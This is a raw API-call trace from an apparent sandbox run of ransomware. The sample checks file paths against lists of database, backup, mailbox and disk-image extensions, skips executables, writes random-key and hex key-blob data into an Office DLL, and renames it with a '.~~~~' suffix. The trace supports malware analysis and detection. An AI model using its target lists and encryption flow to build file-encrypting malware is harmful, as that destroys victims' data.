	[0081.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.626] lstrlenW (lpString=".VHD") returned 4
	[0081.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".VHD") returned 0x0
	[0081.627] lstrlenW (lpString=".DBV") returned 4
	[0081.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DBV") returned 0x0
	[0081.641] lstrlenW (lpString=".dacpac") returned 7
	[0081.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dacpac") returned 0x0
	[0081.642] lstrlenW (lpString=".sdf") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".sdf") returned 0x0
	[0081.642] lstrlenW (lpString=".accdb") returned 6
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".accdb") returned 0x0
	[0081.642] lstrlenW (lpString=".DBX") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DBX") returned 0x0
	[0081.642] lstrlenW (lpString=".MDT") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".MDT") returned 0x0
	[0081.642] lstrlenW (lpString=".SQB") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".SQB") returned 0x0
	[0081.642] lstrlenW (lpString=".vhd") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".vhd") returned 0x0
	[0081.642] lstrlenW (lpString=".bac") returned 4
	[0081.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".bac") returned 0x0
	[0081.642] lstrlenW (lpString=".mdf") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".mdf") returned 0x0
	[0081.643] lstrlenW (lpString=".BAK") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".BAK") returned 0x0
	[0081.643] lstrlenW (lpString=".BAC") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".BAC") returned 0x0
	[0081.643] lstrlenW (lpString=".dbs") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dbs") returned 0x0
	[0081.643] lstrlenW (lpString=".vhdx") returned 5
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".vhdx") returned 0x0
	[0081.643] lstrlenW (lpString=".NDF") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".NDF") returned 0x0
	[0081.643] lstrlenW (lpString=".dat") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dat") returned 0x0
	[0081.643] lstrlenW (lpString=".DBS") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DBS") returned 0x0
	[0081.643] lstrlenW (lpString=".CKP") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".CKP") returned 0x0
	[0081.643] lstrlenW (lpString=".edb") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".edb") returned 0x0
	[0081.643] lstrlenW (lpString=".PST") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".PST") returned 0x0
	[0081.643] lstrlenW (lpString=".dbf") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dbf") returned 0x0
	[0081.643] lstrlenW (lpString=".SQL") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".SQL") returned 0x0
	[0081.643] lstrlenW (lpString=".pst") returned 4
	[0081.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".pst") returned 0x0
	[0081.644] lstrlenW (lpString=".dbv") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dbv") returned 0x0
	[0081.644] lstrlenW (lpString=".SDF") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".SDF") returned 0x0
	[0081.644] lstrlenW (lpString=".dtxs") returned 5
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dtxs") returned 0x0
	[0081.644] lstrlenW (lpString=".db3") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".db3") returned 0x0
	[0081.644] lstrlenW (lpString=".OST") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".OST") returned 0x0
	[0081.644] lstrlenW (lpString=".dbx") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dbx") returned 0x0
	[0081.644] lstrlenW (lpString=".DB3") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DB3") returned 0x0
	[0081.644] lstrlenW (lpString=".DAT") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DAT") returned 0x0
	[0081.644] lstrlenW (lpString=".VHDX") returned 5
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".VHDX") returned 0x0
	[0081.644] lstrlenW (lpString=".ndf") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".ndf") returned 0x0
	[0081.644] lstrlenW (lpString=".DB") returned 3
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DB") returned 0x0
	[0081.644] lstrlenW (lpString=".sql") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".sql") returned 0x0
	[0081.644] lstrlenW (lpString=".MYD") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".MYD") returned 0x0
	[0081.644] lstrlenW (lpString=".DBT") returned 4
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DBT") returned 0x0
	[0081.644] lstrlenW (lpString=".ACCDB") returned 6
	[0081.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.645] lstrlenW (lpString=".fdb") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".fdb") returned 0x0
	[0081.645] lstrlenW (lpString=".bak") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".bak") returned 0x0
	[0081.645] lstrlenW (lpString=".myd") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".myd") returned 0x0
	[0081.645] lstrlenW (lpString=".DTXS") returned 5
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".DTXS") returned 0x0
	[0081.645] lstrlenW (lpString=".ckp") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".ckp") returned 0x0
	[0081.645] lstrlenW (lpString=".dbt") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".dbt") returned 0x0
	[0081.645] lstrlenW (lpString=".db") returned 3
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".db") returned 0x0
	[0081.645] lstrlenW (lpString=".TXT") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".TXT") returned 0x0
	[0081.645] lstrlenW (lpString=".MDF") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".MDF") returned 0x0
	[0081.645] lstrlenW (lpString=".bdb") returned 4
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".bdb") returned 0x0
	[0081.645] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.645] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.646] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.646] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.647] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20163693097) returned 1
	[0081.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a84f9b0, dwHighDateTime=0x1d60e1e)) 
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe4b0
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4b0 | out: hHeap=0x300000) returned 1
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.647] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.648] GetLastError () returned 0x0
	[0081.648] GetLastError () returned 0x0
	[0081.648] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.648] GetLastError () returned 0x0
	[0081.648] GetLastError () returned 0x0
	[0081.648] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x2560, lpOverlapped=0x0) returned 1
	[0081.653] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdaa0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.654] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x2560, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x2560, lpOverlapped=0x0) returned 1
	[0081.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.654] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.654] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.654] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.654] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.654] CloseHandle (hObject=0x120) returned 1
	[0081.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.~~~~")) returned 1
	[0081.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.656] GetLastError () returned 0x0
	[0081.656] RtlWakeConditionVariable () returned 0x365f70
	[0081.656] GetCurrentThreadId () returned 0x9f4
	[0081.656] GetCurrentThreadId () returned 0x9f4
	[0081.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0081.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4e8 | out: hHeap=0x300000) returned 1
	[0081.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ae0
	[0081.656] lstrlenW (lpString=".scr") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".scr") returned 0x0
	[0081.656] lstrlenW (lpString=".cmd") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".cmd") returned 0x0
	[0081.656] lstrlenW (lpString=".dll") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dll") returned 0x0
	[0081.656] lstrlenW (lpString=".bat") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".bat") returned 0x0
	[0081.656] lstrlenW (lpString=".cpl") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".cpl") returned 0x0
	[0081.656] lstrlenW (lpString=".sys") returned 4
	[0081.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".sys") returned 0x0
	[0081.656] lstrlenW (lpString=".msc") returned 4
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".msc") returned 0x0
	[0081.657] lstrlenW (lpString=".com") returned 4
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".com") returned 0x0
	[0081.657] lstrlenW (lpString=".lnk") returned 4
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".lnk") returned 0x0
	[0081.657] lstrlenW (lpString=".msp") returned 4
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".msp") returned 0x0
	[0081.657] lstrlenW (lpString=".pif") returned 4
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".pif") returned 0x0
	[0081.657] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.658] lstrlenW (lpString=".sqb") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".sqb") returned 0x0
	[0081.658] lstrlenW (lpString=".ost") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".ost") returned 0x0
	[0081.658] lstrlenW (lpString=".txt") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".txt") returned 0x0
	[0081.658] lstrlenW (lpString=".mdt") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".mdt") returned 0x0
	[0081.658] lstrlenW (lpString=".BDB") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".BDB") returned 0x0
	[0081.658] lstrlenW (lpString=".eql") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".eql") returned 0x0
	[0081.658] lstrlenW (lpString=".DBF") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DBF") returned 0x0
	[0081.658] lstrlenW (lpString=".EQL") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".EQL") returned 0x0
	[0081.658] lstrlenW (lpString=".FDB") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".FDB") returned 0x0
	[0081.658] lstrlenW (lpString=".EDB") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".EDB") returned 0x0
	[0081.658] lstrlenW (lpString=".DACPAC") returned 7
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.658] lstrlenW (lpString=".VHD") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".VHD") returned 0x0
	[0081.658] lstrlenW (lpString=".DBV") returned 4
	[0081.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DBV") returned 0x0
	[0081.659] lstrlenW (lpString=".dacpac") returned 7
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dacpac") returned 0x0
	[0081.659] lstrlenW (lpString=".sdf") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".sdf") returned 0x0
	[0081.659] lstrlenW (lpString=".accdb") returned 6
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".accdb") returned 0x0
	[0081.659] lstrlenW (lpString=".DBX") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DBX") returned 0x0
	[0081.659] lstrlenW (lpString=".MDT") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".MDT") returned 0x0
	[0081.659] lstrlenW (lpString=".SQB") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".SQB") returned 0x0
	[0081.659] lstrlenW (lpString=".vhd") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".vhd") returned 0x0
	[0081.659] lstrlenW (lpString=".bac") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".bac") returned 0x0
	[0081.659] lstrlenW (lpString=".mdf") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".mdf") returned 0x0
	[0081.659] lstrlenW (lpString=".BAK") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".BAK") returned 0x0
	[0081.659] lstrlenW (lpString=".BAC") returned 4
	[0081.659] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".BAC") returned 0x0
	[0081.659] lstrlenW (lpString=".dbs") returned 4
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dbs") returned 0x0
	[0081.660] lstrlenW (lpString=".vhdx") returned 5
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".vhdx") returned 0x0
	[0081.660] lstrlenW (lpString=".NDF") returned 4
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".NDF") returned 0x0
	[0081.660] lstrlenW (lpString=".dat") returned 4
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".dat") returned 0x0
	[0081.660] lstrlenW (lpString=".DBS") returned 4
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".DBS") returned 0x0
	[0081.660] lstrlenW (lpString=".CKP") returned 4
	[0081.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".CKP") returned 0x0
	[0081.660] lstrlenW (lpString=".edb") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".edb") returned 0x0
	[0081.661] lstrlenW (lpString=".PST") returned 4
	[0081.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL", lpSrch=".PST") returned 0x0
	[0081.661] lstrlenW (lpString=".dbf") returned 4
